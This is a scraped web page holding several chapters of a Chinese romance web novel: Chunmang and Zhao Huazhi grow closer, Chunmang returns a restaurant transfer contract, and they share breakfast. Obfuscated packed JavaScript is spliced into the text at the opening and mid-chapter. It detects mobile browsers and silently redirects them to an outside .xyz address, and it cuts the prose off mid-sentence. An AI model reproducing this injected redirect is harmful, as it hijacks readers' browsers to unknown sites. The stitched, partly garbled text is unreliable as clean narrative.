35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14593261|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 春满失笑,过去把踩着赵华致的家居拖鞋顺着他的腿往上爬的虎皮抱走:“我带它在客厅玩会儿。” “嗯。” 不一会儿,客厅里传来逗猫棒叮叮当当的声音。赵华致循声望过去时,看春满屈膝跪在地毯上,塌着背,和猫玩得不亦乐乎。 “猫粮在猫爬架旁边收纳柜的第一个抽屉里,你自己拿。” 春满边逗猫边研究赵华致家里这一整面墙的猫爬架,比起她家里自己纯手工DIY的架子,这个着实豪华,是迷宫也是王国。 闻言,她应了声,起身去拿猫条。 家里两只猫对抽屉拉开的声音敏感,连趴在窗边落日余晖下晒肚皮的奶油也优雅地踱着猫步过来。 春满撕开手里细长包装的猫条投喂时,注意力被对面靠墙的展示柜吸引。 除了那张在赵华致办公室见过的三趾滨鹬的照片,此外所有用相框展示的照片全是有关鸟禽的,并且无一例外,都是春满过去的摄影作品。 旁边还有很厚的一摞地理科普杂志,不过春满不清楚有什么特别的,这些杂志的发刊日期不连续,甚至没有规律。 两只猫被她手里的猫条吸引,一声叠一声催促地叫着。 春满视线从大大小小的相框上,移到那本有些年岁的随行本上。 这个也是她的。 赵华致察觉客厅里两只猫叫得有些反常,狐疑地探头过来查看情况。 入眼是春满蹲在地上安静地撕猫条的情形,两只猫如愿吃到零食便不再叫了,春满微低着头,看不清她脸上的表情。 赵华致把最后一道菜端上餐桌,碗筷碰撞的声音让春满意识到他已经从厨房出来。 “可以洗手吃饭了。”赵华致叫她。 春满应了声,净手后在赵华致对面坐下。三菜一汤,卖相不错,显得赵华致昨晚那句“我厨艺一般”是在自谦。 春满一副没被什么事分心的自在模样,信口拈来地夸奖道:“看着很不错。” “尝尝看。”赵华致示意春满动筷,在她专心吃东西时,视线越过她的肩膀朝客厅方向的展示柜看去。 春满迫不及待地先夹了近处的剁椒鱼头,慢条斯理地咀嚼、吞咽,眉梢间的表情不言而喻:“很好吃。” 赵华致收回视线,在春满开始尝第二道时,帮她舀了碗汤。 一顿饭吃得格外愉快,没有意想不到的人出现打搅。 饭后,赵华致进厨房端着切好的水果出来,见春满站在展示柜前看得认真。 “这是我很喜欢的摄影师。”赵华致朝她过来,坦白道。 “挺巧的。”春满嘴上这么说,心里却没这样认为。她鲜少在人前提起自己的摄影师身份,觉得这不过是自己的某一面而已,况且她讨厌被大众关注、讨论,坏的好的,都不喜欢。 她的成长环境被狭隘和自私充斥,别人“怕你好、笑你无”,人人都生了一张嘴,舌头是最控制不住的东西。 因此她不屑某个头衔和成就为她带来的荣誉和掌声。 她做某件事,并且一直坚持下去,只是因为她喜欢。 春满接过赵华致递来的小叉子,从果盘里叉了块桃子,说:“你是不是可以把我的笔记本还给我了。” “什么笔记本?”赵华致没吃水果,只端着陶瓷盘方便她继续吃,闻言,茫然地看了春满一眼,仿佛才想起来一般,“哦你是指大学时我捡到的笔记本?你不是说没丢东西吗?原来真是你的?” 春满凝视着他,赵华致则任由她打量。 两人谁也没有忘记当年的事,甚至默契地耿耿于怀。 春满最先缴械投降,说了句无关紧要的话圆场:“你是故意演得这么夸张吗?” “被你冷落了这么多年。还不许我抱怨一下?”话是这么说,但赵华致并没真的有情绪,捏着叉子吃了块水果,看上去心情十分不错。 随后赵华致从旁边纸抽里扯了张纸蹭干手上的水,打开了展示柜的玻璃门把笔记本拿出来,还给她:“物归原主。” 春满随手翻了翻,发现它被赵华致保存得很好。 她制止他把玻璃关上的动作:“方便看看其他的吗?” 赵华致示意她随意。春满翻杂志时,赵华致便靠在一旁看她。 春满粗略地翻了几本,逐渐确定,这些杂志之所以被特意选出来,大概是因为上面刊登了春满的作品。 好半晌春满才把杂志放回原位,关住展示柜的玻璃门,语气认真起来:“你之前说………喜欢我很多年?是真的吗?” 赵华致靠在旁边的斗柜上,语气干脆:“真的。” “是从什么时候开始的?”春满视线落到封着三趾滨鹬照片的相框上,她确定这不是她的作品,因为这张毫无拍摄水准,她不可能用来投稿或者发布在社交平台上。 这张照片还特意多印了一份摆在办公室,是有什么特殊的意义吗? 赵华致不达反问,拽回春满的思绪:“我能先问你个问题吗?” “你说。” 赵华致抬头看她:“你是什么时候察觉我喜欢你的?” 春满眨眼,脸不红心不跳,很是诚恳:“从你当年找我时,我就发现了。” “真的?”赵华致并不相信。 春满弯唇笑了笑,放弃这个不怎么好笑的玩笑:“好吧,是假的。最初……我起初没往这方面想,而且我哥告诉我你人不错——” 赵华致忍不住打断道:“他难得做一件好事。” “喂!”春满护哥。 赵华致端正态度:“在这件事上,我谢谢他。” 春满适才收敛攻击性,继续道:“我哥都这么说了,所以我以为你对我做的事,细心也好,迁就也好,都是因为‘你本身是个好人’。但渐渐地我身边的人都开始提醒我,先是赵赵话里话外暗示我,我另一个朋友也说你对我很特殊,直到早早跟我坦白了她和江鎏的事,我才敢确定。” 赵华致不想一再口头强调自己感情有多深,又做了什么,这种邀功没正面意义,反而会给春满压力。 “你朋友还在生江鎏的气吗?”赵华致问起别的事,“方便的话,帮忙解释一下,这件事的责任在我。” “我会找时间替他说情的。”春满没跟赵华致解释,姜早早生气不单单是觉得自己的疏忽影响到她,但只要是对姜早早好的事,她肯定会帮忙说话。 春满点到为止地回答完他的问题,话锋一转:“不要岔开话题。该你回答了,你是不是从那个暑假开始的?” “嗯……”赵华致音量很轻,一瞬不瞬地盯着她,观察反应。 “赵华致,没想到你这么土。”春满语气轻快地揶揄道,但很快沉默下来,眼底涌出几分惭愧,“抱歉,我不知道。” 赵华致招架不住被这样望着,微微站直些,弯唇露出个并不介意地笑,用手指弹了下她的额头,缓和气氛道:“没有那么早。以后有机会告诉你。” 23.第 23 章 23 很快到了佟向琴新餐厅开业的日子,春满有想过只送个花篮自己便不去了。但转念又想到,自己和房嘉恺在一起这几年,佟向琴对自己多有照顾。 春满作为单亲家庭长大的孩子,在房家感受到了家庭的温馨,和意想不到的尊重。 佟向琴每每邀请她去家里吃饭,都会准备适合她的礼物,带着她扩展人脉时,在人前大肆夸奖她、给予肯定。 总之,佟向琴对她的关心,不比满郁少。 所以春满无论如何也拒绝不出口。 春满到地方,停好车,找到佟向琴时她在跟那个留着络腮胡的餐厅老板说话,不知道两人说了什么,只见那林老板见春满过来冲她笑了笑,才走开。 佟向琴亲切如常,关心春满吃饭了没有,安排后厨先给她准备一份简餐。 春满没添麻烦,只说自己吃过来的。 动物园那两家餐厅是春满陪着佟向琴忙起来的,所以她很喜欢佟向琴的工作节奏。 说是让她来帮忙,实际上佟向琴并没有让她做什么重活,把她当成一个可以信任的人带在身边,迎接一位位来捧场的朋友与顾客。 餐厅门口摆了两大排花篮,春满经过时在其中看到了赵华致的名字。 “小恺这边!”佟向琴扬声,等人走近些开始唠叨,“简直指望不上你,你怎么不天黑了再来,哪哪都没慢慢上心。” “妈,慢慢。”房嘉恺走过来跟佟向琴和春满打招呼。 春满从花篮上收回视线,听到佟向琴给房嘉恺派任务:“慢慢从早晨忙到现在,你正好带她去喝点水休息会儿。” 春满要说什么,佟向琴示意她:“这边没什么事了,去吧。” - 天台的玻璃房稀疏地摆着几套桌椅,站在这里远眺时将前面民国风的建筑收入眼底,西朝向,想必天气好的傍晚,晚霞会非常的漂亮。 不知是房嘉恺安排的还是佟向琴准备的,两人刚坐下,便有服务生端了几样零嘴和饮品。 房嘉恺看了眼,对吃食不满意,亲自去后厨准备。春满落得清净,敛走看风景的闲心,拿出手机看了眼微信。 赵华致给她发来消息,替江鎏转交一台咖啡机,说是感谢她在姜早早面前帮忙说好话。 那天从赵华致家离开,春满的确在姜早早面前替江鎏说了几句情,并在姜早早的默许下向江鎏透露了一些消息。 但春满不敢邀功:“力所能及的事,不用这么客气。” 赵华致可能没看手机,所以没有回。 听见有脚步声走近,春满收起手机。下一秒,眼前晃过一支带着露珠的红玫瑰。 春满顺着拿花的手抬高视线,单看手臂春满便知道不是房嘉恺。 赵华致有他独特的气场,在春满对上那双漆黑深情的眸子时,越发肯定了自己的印象。 “你怎么来了?”春满接了他的花,面露诧色,说话时不自觉压低声音。 “被邀请了,所以就来了。”赵华致答得坦然,但这个理由显然不合常理。 春满把花拿近嗅了嗅,没吭声。 赵华致语不惊人死不休般再度出声:“房嘉恺今天又准备怎么纠缠你?” 春满陡然睁大眼睛,扭头朝入口处望了眼,生怕这话被旁的人听去。 春满提醒他:“你小点声。” “怕什么,我没见他对你有多上心。不过我还是要谢谢他的不作为。”和春满的状态相比,赵华致无所顾忌,很是直白,“以前是顾及你的感受,我没对他做什么。但你现在已经表态了,那我帮你断干净。” 春满眨眼,警惕道:“你要做什么?” 赵华致在她的对面坐下:“你希望我怎么做?” 春满欲言又止地看他一眼,良久后,才严肃地说:“你别乱来。” 赵华致撩着眼皮扫了眼她的身后,突然正襟危坐,声音沉了些:“有人过来了。” 春满一改凝视着他的神情,露出温和却虚假的社交笑容,不动声色地和赵华致保持距离。 她缓慢地转头,没见着人。下一秒,撞上赵华致嘴角扬起的笑,春满才知道自己被骗了,愤愤地抬脚踩他一脚。 “不理你了。” 赵华致往回收了收腿,诚心诚意:“我错了。” 春满说到做到,低头揪着包花的褶皱纸。虽然只有一支花,但包装得精细。 春满不经意瞥见花枝上有什么东西反着光,窸窸窣窣地把纸扒拉开一些,发现其中另有乾坤,当即愣住。 “开张吉利,餐厅装修得不错。”赵华致看向春满身后,语气又一次转变,是公事公办的场面话。 春满心说我再信你一次就是猪,她淡淡地瞥了赵华致一眼,把花里藏着的手链勾出来,刚要揶揄。 身后想起房嘉恺的声音:“学长,谢谢你来捧场。” 这次是真有人来了。 房嘉恺手扶了下春满的椅背,在她旁边的位置坐下:“慢慢,我让后厨给你切了盘水果。” 春满把手链藏在手心攥住,手背朝上,放在膝上,淡声说:“不用麻烦。” 盘子摆得太靠近春满,她抬手往桌子中间推了推,盘子边缘有没擦干净的水渍,春满手指一时湿漉漉的没地方擦。 视线张望着找擦手纸时,赵华致动作快,递了过来。 房嘉恺慢半拍反应:“用纸吗?” 春满在房嘉恺严密的注视下,看了赵华致一眼,把手帕纸接过来:“谢谢。” “刚刚水果切得急,端上来前忘记擦一擦盘底的水了。”房嘉恺没看出端倪,解释后,擦了擦盘子。 春满一直没吃水果,只喝了点水,找机会提前离场:“我想起有事情没处理完,先下去了,你们两位慢慢聊。” 房嘉恺要留人,但注意到春满手里不知什么时候多出来的玫瑰花,一时忘记了自己要说的话。 - 房嘉恺陪赵华致坐了会儿,提出带他下楼逛逛。 经过二楼楼梯口时,遇到佟向琴迎上来打招呼:“赵总,好久不见,不知道你过来,才抽出时间打招呼。” 场面话没说几句,房嘉恺接到来捧场的朋友的电话,得出去接人,一时这里只落赵华致和佟向琴两人。 佟向琴仿佛刚记起什么似的,嘀咕了一句“差点忘了”,拦住路过的服务生交代道:“你找一下医药箱拿给我,春满收拾东西不小心把手划破了。” 赵华致原本平和的眼神微微凝重,仿佛要确认自己没听错一般,抬高看了佟向琴一眼。 佟向琴对于这件随口一提的事,并没有重复强调,转头继续跟赵华致说:“今天状况百出,有招待不周的地方,还请见谅。” 赵华致淡声说了句“理解”,拿出手机看了眼,说:“有个电话要回,我先失陪。” “请便。” 赵华致在佟向琴的目送下,转过拐角,本想通过电话找人,结果没走几步,看到不远处正跟人说话的春满。 露台处的圆弧门洞遮挡住春满对面的人,赵华致没有探究的意图,遥遥地盯着春满的手看了会儿,没看出有什么很严重的伤才稍稍安了心。 春满沐浴在正午顶好的阳光下,跟人聊得并不开心,没什么耐心地胡乱看着别处。 不经意间,视线撞上了站在不远处的赵华致。 春满怔了下,见他既不走开也不过来,难道是在等她吗? 春满带着这点狐疑收回视线,听面前的沈栀意道歉和解释。 说的内容跟房嘉恺如出一辙。 是好朋友。 没动过插足的念头。 也不可能在一起。 “你还愿意和嘉恺复合吗?”沈栀意语气试探,如是问。 赵华致没等太久,便看到沈栀意从露台门洞后出来,看表情似乎聊得并不愉快。 而春满非但没有出来,还转身往深处走了走,进入赵华致的视野盲区。 春满手搭在露台栏杆上,眺望远处风景,被太阳晒久了的眼皮有些酸涩。 听到身后有脚步声,春满只稍稍偏头,用余光判断来人是赵华致。 她将手从栏杆上放下来,没等开口,先听赵华致发问:“手没事吧?” 春满茫然地看他一眼,低头查看自己的手,还以为自己没注意时伤了手,两只手伸开、翻过来,连磕碰的小伤都没有。 “没事啊。” 赵华致显然也确认这个结论,恍惚间明白过来发生什么,自嘲地笑了下。 春满只觉莫名其妙,疑问地盯着他:“怎么这么问?” 赵华致突兀地换了话题,问起:“我来露个面就可以走了。你什么时候结束,我接你一起吃晚饭?” 春满没消化和沈栀意的那番聊天,也没琢磨明白他好端端地提什么手,闻言,含糊地说:“应该要迟一些,还不确定。” “那你快结束时给我打电话。” 赵华致走出露台,准备离开餐厅时,佟向琴站在二楼的天井栏杆旁,将底下的情形一览无余。 - 春满一下午没再见到沈栀意,也没跟谁提过这件事,有始有终地待到开业活动的收尾阶段。 “阿姨,客人都送走了,我也先回去了。”春满把包挂到肩上,过去和佟向琴作别。 “今天多亏有你,辛苦了。”佟向琴帮她把腋下包的肩带翻正,说,“我真是年纪大了,事多得应付不来。对了,差点忘记把这个给你。” 佟向琴四处张望了一番,最终还是叫住一个员工问:“我拿来的那份转让合同呢?” 不多时,那名员工把合同拿来。佟向琴确认没错后,正了正上面的曲别针,把合同交给春满。 春满不明所以,只当是需要她帮忙转交或者邮寄,便接过来。 谁曾想,佟向琴说:“这是动物园两家餐厅的转让协议,我已经盖过公章,你签字后便可以生效,以后那两家餐厅都由你全权管理。” 春满当即想还回去,但佟向琴已经收回手。 “阿姨,这个我不能收。”春满再还,佟向琴却不接了。 “你就当阿姨的忙好吗?这家餐厅刚开业,要忙的事情多,下半年还打算在外地开几家分店,我实在是分身乏术。我很看重动物园内的两家主题餐厅,因此担心出现经营不善的情况,你比我熟悉那里的情况,交给你,我十分放心。” 春满决心已定,不能收,但没等她开口,有员工找佟向琴有事。佟向琴应了一声“这就过去”,拍了拍春满的肩膀,说:“你认真想想再做决定。” - 几分钟后,春满在距餐厅几百米外的街上坐进赵华致的车,心事重重的样子好像丢了魂一样。 “安全带。”赵华致盯着她看了会儿,出声提醒。 赵华致没等到回答,自给自足地倾身过去帮忙。 清淡冰冷的男士香水逼近,春满才后知后觉他刚跟自己说话,回神后看到突然放大在脸前的五官,当即吓了一跳,后背紧绷着死死地贴在椅背上。 “怎、怎么了?” 赵华致手臂半绕过她,在车门附近摸索:“安全带。” 春满哦了声,小声说:“我自己来。” 赵华致坐回去,没急着发动车子,视线一瞬不瞬地落在她身上:“佟向琴跟你说什么了?” 春满扯着安全带,一时忘记去插卡槽,淡声说了句“没事”,隔了几秒钟,她想起什么,松开安全带,翻了翻包里的隔层。 “下午忙起来我忘记把那支花丢在哪里了,抱歉。” 赵华致淡声:“没事。” “好在我提前发现了里面的手链。”春满把因为储存不当扭缠在一起的手链分开,她不懂首饰,但如果没记错,前几天在姜早早家里翻看过某场珠宝展品会的类目册,这条手链排版在第一页,姜早早瞥了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600178|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼市场价,很是仇富地感慨:“这是带了一套房在手腕上。” “太贵重了。”春满拿着手链的手往他面前挪了挪。 赵华致打断她的话:“你打算还给我?我没有戴女士手链的爱好。” 春满觉得手上的东西千斤重,实在没办法收下:“你可以送给赵赵。” “她不要别人不要的东西。”赵华致语气前所未有的冰冷,很有不怒自威的架势。 春满一怔。 赵华致意识到自己说错话,语气缓和些:“我觉得适合你才买的,和它的价值无关。” 良久后,春满突然出声:“赵华致。” 斩钉截铁,掷地有声。 被叫全名的威力比想象中的大。 哪怕春满只是简简单单说一句:“我不想收不可以吗?凭什么送东西的人比收东西的还要霸道?” 赵华致登时噎声,春满的反应太激烈,好似赵华致做了什么罪大恶极的事。 春满后知后觉自己的失态,别开脸冷静了一瞬,才说:“抱歉,我不是冲你。手链我放这里了。” 说着春满把手链放到扶手箱中的收纳格里。 “下午发生了什么?”赵华致盯着她,发问。 春满腾出手来,又一次扯出安全带,可能是角度问题,带子很有脾气地卡顿了一下,就这一两秒的时间,她又一次松手,任由安全带又一次自动收回去。 她没有阐述自己所遭遇的困境,但坚定了自己必须快刀斩乱麻把问题解决的态度:“我想起自己来的时候开了车,我得把车开走。” 赵华致语气听上去冷淡且平静:“那我把餐厅地址发给你。” 春满咬了下唇,心说自己不好估算需要花费多久能跟佟向琴把事情说清楚,避免害赵华致空等,耽误更多的时间,明确道:“可能会很晚——” “我等你。”赵华致语气坚定,打断她没说完的话。 “好,你回家等,行吗?我结束了去找你。” “可以。”赵华致适才松口。 春满开门下车,顺着刚刚来的方向原路返回。 目送春满的身影在倒车镜里越来越小,直至消失,赵华致抬手,狠狠地捶了一下方向盘。 - 春满先回餐厅找佟向琴,被告知她在给店里员工开会。 春满坐在空荡明亮的餐厅内,一等就是一个半小时。 等待,是她最擅长的事情。小时候等哥哥回家,等妈妈下班,后来她不会再等任何人,她开始拍鸟,开始安静地沉浸地和动物相处。 一个小时,两个小时,再寻常不过的时间跨度。 听见熙攘的散会的声音,春满站起身,手里拿着转让合同,等待着终于现身的佟向琴走近。 “还以为你走了,正好,陪阿姨吃点东西。”佟向琴招呼她。 - 春满顺利还完合同,再驾车到家,已经是又一个半小时候的事情。 春满熄了火,坐在车里疲惫地捏了捏眼角,抬起手腕看眼时间。 和佟向琴谈话时随便垫了几口,她此刻不觉得饿,只是不知道赵华致吃没吃东西。 春满正准备拿出手机,就近点几道家常菜带去赵华致家,副驾的车门被人从外面拉开。 春满吓了一跳,听说过太多类似的社会恶性新闻,当即按住安全带想弃车而逃。下一秒,注意到矮身坐进来的人是赵华致,春满才松了口气。 紧接着春满看看外面,再看看他,说出心里的猜测:“你不会一直在车库等着吧?” “没想到你去了这么久。”赵华致说得也是直白。 春满把点外卖的手机收起来,两人间又是一阵沉默。 春满百无聊赖地戳着仪表盘上的按钮,一不小心把车内的灯源关了。 近乎昏暗的环境中,春满找回自己的声音:“佟阿姨要把动物园内的两家餐厅转让给我,我回去是还合同的。我不太擅长处理这种事,所以费了些时间。” 春满解释得很清楚,赵华致没什么要追问的。 他嗓子微哑,偏沉,嗯了声,完全偏题地提起:“手链还要吗?” 春满先前是轴劲儿上来,觉得肩上压了两座大山,甚是疲惫,驾车回来这一路,她逐渐冷静,意识到自己的小题大做。 “要。”春满说。 听赵华致窸窸窣窣掏口袋,春满伸手,本意是接手链,赵华致显然误会,直接上手帮她戴。 他对各种首饰的卡扣并不了解,研究了会儿,才顺利戴好。 春满觉得自己手腕处某一部分的皮肤被他盯得发烫,别别扭扭地把手收回来,轻声道谢,开门下车。 春满往电梯间的方向转步,赵华致却径自走向他的车,绕到车后从后备箱里搬出个纸箱,解释道:“江鎏给你咖啡机。” 春满哦了声,想接,但赵华致并不打算换手,示意她去按电梯。 这个时间电梯无人使用,一路畅通。 到达七层,春满还在想该不该邀请他到家里吃点东西,便见赵华致把咖啡机送到她手上,并说:“回去早点休息,明天见。” 春满便知晓晚饭的事算翻了篇,时间着实太晚,这个时间吃完饭,睡觉时间便要推迟。 咖啡机不算轻,春满抱着跨出电梯,微微偏过身,问:“明早要喝咖啡吗?” 赵华致停下按关门键的手,笑道:“好啊。” 春满把自己的电梯卡递出去:“自己带杯子。” “好。”赵华致接过卡看了眼,明明是再寻常不过的磁卡,但意义完全不同。 他家的卡还在春满那里,那天饭后,春满离开前要还卡,赵华致没接。 此刻春满把自己家的电梯卡交出来,代表愿意向他开放自己的私人空间。 “你几点吃早饭,我带早点去。”赵华致问。 春满:“一般七点起,你过了这个时间可以下来。” 24.第 24 章 24 翌日早七点半,赵华致准时敲开春满的房门,一手拎着晨跑回来路上买的早点,另只手则拿着一个咖啡杯。 春满让人进来,说:“你先坐,我稍微收拾一下。” 自打跑全马休克住院之后,她暂时性地停掉了跑步的习惯,每天最多做会儿有氧瑜伽。 此刻刚运动完,穿着舒适修身的瑜伽服,地板上指压板和瑜伽垫还没收拾。 她收拾之前注意到赵华致手里的早点,刚要说话。 赵华致指了指厨房:“我方便用一下厨房吗?” “请便。” 春满便没再管他,等收拾完家里,以及收拾完自己,再出来,赵华致已经坐在餐桌边,桌上摆着两副餐具和丰盛的面点小菜。 “不知道你喜欢吃什么,随便买了点。”赵华致见春满身上瑜伽服换成了日常的衣裤,左手手腕上是一块女士表和他送的那条手链。 春满拉开椅子坐下,说:“我平时也是吃这些。” 吃过早饭,春满拿走赵华致带来的杯子去摆弄咖啡机:“昨晚稍微看了眼操作功能,用起来可能不熟练,口感有瑕疵不要见怪啊。” 赵华致收拾好餐桌和厨余垃圾,坐在水吧台旁的高脚凳上,看在另一边的春满:“我不挑。” 春满专心地操作咖啡机,不经意偏头时,瞥见赵华致一瞬不瞬盯着自己,一时不知道该做什么。 她勾了缕头发挂在耳后,故作淡定道:“你晚饭有安排吗?” 赵华致挑了下眉,问:“要约我?” 春满视线仍旧落在咖啡机上,说:“有时间吗?让我弥补一下昨天放你鸽子的过错。” “好啊。下班后我去接你。” 春满说:“要去的餐厅在你公司附近,我下班去和你汇合比较顺路。” “意思是你接我下班?”赵华致意味甚浓地打量她,仿佛要确认自己的理解是否有误,一两秒后,没等春满解释,自顾说,“还是我接你吧,毕竟追人的是我。” - 到出门上班的时间,赵华致以下班还要一起吃晚饭为由,又建议她今天别开车了。 “我送你。”他说。 春满一想确实合理,便没纠结,坐上了副驾。 半小时后,车子停在距离动物园北门还有段距离的位置,春满确认周遭没有相熟的同事,才下车。 赵华致颇具洞察力的眼神,很轻易地看穿她的小心思,没拆穿,只道:“傍晚见。” 赵华致目送春满身影转过拐角,才驾车离开。 “小满姐!”赵昭儿悄默声地靠近,又咋咋呼呼地突然跳出来。 春满被她吓了一跳,没等埋怨,只听对方倒豆子似的好一番唠叨,“我刚刚好像看到我哥的车了,他送你来的吗?也太不贴心了,直接开到门口很费事吗?咱这空间富裕,掉头一点也不麻烦。难怪他到现在还没有追到你。真是太没用了。” 春满苦笑不得,没解释太多,只说:“你今天怎么过来了?不是说要下周才来吗?” “要跟谢宴迟联合搞个专栏,在线上聊不明白,来找他见面说。”赵昭儿一摆手,又把话题绕回去,“不提这个。我还是继续跟你说我哥吧。小满姐,你不知道,我妈提了好几次想和你见面,都被我哥拒绝了。” “见我?”春满陡然紧张起来,但没流露,面上甚至开了句无伤大雅的玩笑,“给我五百万让我离开你哥哥?” 赵昭儿被这个时髦的思路戳中笑点:“哈哈哈哈怎么可能。是感谢你解决了他儿子的个人问题。” 春满却笑得不轻松,她想说自己和赵华致关系待定,又想问你母亲怎么知道自己的。 没等她找到合适的切入点开头,有同事打招呼,和她们一起往工作区走,春满丧失单独和赵昭儿说话的机会。 赵昭儿说是来找谢宴迟,但一来就黏在春满身边,跟她周围的同事打成一片。 呆了将近两个钟头,谢宴迟寻了来,劈头就是一句:“非要我过来,你是没长脚吗?” 赵昭儿从善如流地回怼:“你长了脚怎么没见你早早地过来呢?” 春满和周围几个同事面面相觑,俨然已经习惯了这俩人一见面就炸的相处模式。 几个同事陆续散了,只落春满继续专心地给园里的动物画展示牌。 谢宴迟在赵昭儿那里没吃到亏,也没占了便宜,估计心里堵着气,扭头觑了春满手里的东西一眼,非常不礼貌地吐槽:“真丑。” 春满撩起眼皮看他,不肖多想,便知道谢宴迟的敌意来自哪里,他真是一如既往的执着。 没等春满回嘴,赵昭儿掐着腰,仿佛被踩到尾巴似的,率先道:“你是在照镜子吗?没想到你还挺有自知之明。” “我这回说你了吗?”谢宴迟无语状。 “你说小满姐就是在说我!小满姐跟我是一家的!” 谢宴迟被噎得张了张嘴,半晌才睨着春满,发声:“你家人可真多。” 春满:“……” 赵昭儿誓死维护春满,不容许她经受丁点儿委屈,冲谢宴迟叫嚣道:“你这什么眼神?冲谁翻白眼呢。” 眼看着两人刚平息的战场蹭一下重新烧起来,春满顾不得自己的恩怨,急忙去拦他们。但这俩人跟天生有仇似的,一句接这一句,春满愣是没插上话。 见他们只是互相阴阳,不会动手,春满也就不管了。 本以为中午下班便能消停,结果春满被赵昭儿挽着去吃饭时,谢宴迟跟她们同路走了一段。 春满刚要说什么,赵昭儿气哼哼地说:“你跟上来干嘛。” 谢宴迟手揣着口袋,吊儿郎当:“故意恶心你啊。” 春满怀疑谢宴迟脑子是不是短路了,这种杀敌一千自损八百的话都能说得出来。 赵昭儿:“那你最好一直跟着,少走两步就是怂蛋。” 赵昭儿要去接待游客的主题餐厅吃,说很早之前就想去尝尝了。春满虽然知道这个点主题餐厅正是人多的时候,售卖的快餐口味算不上多好,但看赵昭儿的兴致,没扫兴。 两人……哦不对,是三人费了些时间才等到张空桌子。 两个女生面对面坐,谢宴迟隔着个空位,跟她们不熟似的,坐得远远的。 赵昭儿当他不存在,一心跟春满说话。吃到一半的时候,赵昭儿接到个工作电话,起身去清净的地方接。 春满适才瞥了谢宴迟一眼,发现他面前餐盘里的几样快餐都吃得干干净净,这人没素质但不浪费粮食。 谢宴迟不知是不是察觉到春满的注视,拿话刺她时头也没抬:“你真的很会收买人心。每天这么装不累吗?” 春满眼神淡淡地扫他一眼,语气跟他嘲讽人时如出一辙:“可能就跟你遇到谁都能吵起来一样,是天赋吧。” 餐厅人来人往,春满见赵昭儿迟迟不回来,想出去等她,结果刚起身,一个端着餐盘的顾客边讲电话边不看路地往前走,餐盘直直地撞到春满的手臂。 他没看见一般继续往前走。春满知道人一多起来,碰撞难免,看自己的胳膊没什么大碍,便不准备计较。 谢宴迟却看了看自己衣服上被溅到的果汁,皱着眉,抬脚绊了那人一下。 “你做什么?”对方先发制人。 谢宴迟不遑多让:“你有没有素质,道歉会吗?” 谢宴迟跟春满坐得远,旁人都会以为他们互不相识,撞人的见谢宴迟凶着一张脸不好惹,嘴角动了动,息事宁人地扭头冲春满说:“对不起。” 春满半推半就,接受了他的好意:“没事。” 谢宴迟一阵无语,“喂”了两声,示意那人回神,随后指了指自己衣服上还没蚊子血大的果汁渍,说:“我是让你跟我道歉。” 不远处,佟向琴在跟店长交代工作,不经意偏头,遥遥地注意到这边发生的事,不由得多看了几眼。 佟向琴旁边除了店长,还有一位园区的职工,对方随着她的视线望去,自顾说:“好像是春满跟人发生了摩擦,背对着这边的男生也是园里的同事,在替她打抱不平?” 佟向琴收回视线,冲店长摆摆手示意他先走,随后才说:“春满跟这位同事很熟?” 另一边,赵昭儿这通电话打得有些久,她就职公司的两个老板最近在闹分家,惹得下头的人明争暗斗,工作环境乌烟瘴气的,净是糟心事。 挂断电话,赵昭儿冷静了会儿才抬步回去。 经过拐角时,她隐约听到灌木丛后面有人在说话——“春满平时还跟哪个男同事走得很近?” 本不想偷听,但碍于其中出现春满的名字,赵昭儿不自觉顿住了脚。 - 春满在主题餐厅入口旁边的排椅上等了会儿,才看到赵昭儿过来。 赵昭儿本想跟春满说一下刚才偷听的事,但转念一想,别人私下里的言论防不胜防,听多了除了影响心情,并没有什么意义,便作罢,只像往常一样热络地闲聊。 走出段距离,她才注意到:“咦,我就说少了点什么,谢宴迟呢?” 春满:“他衣服沾了脏东西,提前回去了。” 赵昭儿哦了声,说:“该!” 下午,赵昭儿继续赖在春满这里,东看看,西瞧瞧,一直陪春满待到下班时间。 春满收到赵华致发来的消息时,开始收拾东西。 “是要下班了吗?”赵昭儿从凳子上跳起来,说, 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春满嗯了声,想到自己已经不是第一次拒绝赵昭儿的约饭请求,便说:“如果明天中午你有时间的话,我们可以去尝尝你说的这家土耳其菜。” “嗨呀,跟我吃不吃都没关系。”赵昭儿一想到春满方才着急下班的状态,便大胆地认为他哥好事将近。 赵昭儿眼珠骨碌碌一转,决定再添一把火让这个进度跑得快一点。只见她亲昵地挽着春满的手臂,略惆怅地说:“小满姐,不知道我哥有没有跟你说过。他小时候被家里当作继承人培养,过得很压抑,没有童年没有自由,挺惨的。等他长大后,家里人想弥补他,但苦于找不到方法。看到他跟你在一起这么放松,我们一家人都挺开心的。你俩一定要好好的啊。” “压抑吗?看不出啊……”春满回想赵华致日常展现出来的精神状态,想象不出他竟有这种成长经历。 “对啊。”赵昭儿脸不红心不跳,为她哥拉同情票,“就比如小孩子都喜欢吃的零食,辣条、薯片、□□糖等等,我爸妈为了约束他,特别过分,一口都不让他吃。没有糖果的童年怎么可能幸福。是不是特别可怜?” “……”春满保持怀疑态度,但理解不同人的童年都是不同的,她应该接受这种多样性。 - 春满没直白到当面向赵华致求证,她坐上赵华致的车后,纵然心中有同情有心酸,只是欲言又止地看了他好几眼。 等车开出段距离,春满瞥见路边有家正营业的8090怀旧商店,突然让赵华致停车。 “等我一会儿。”春满说完便匆匆下车。 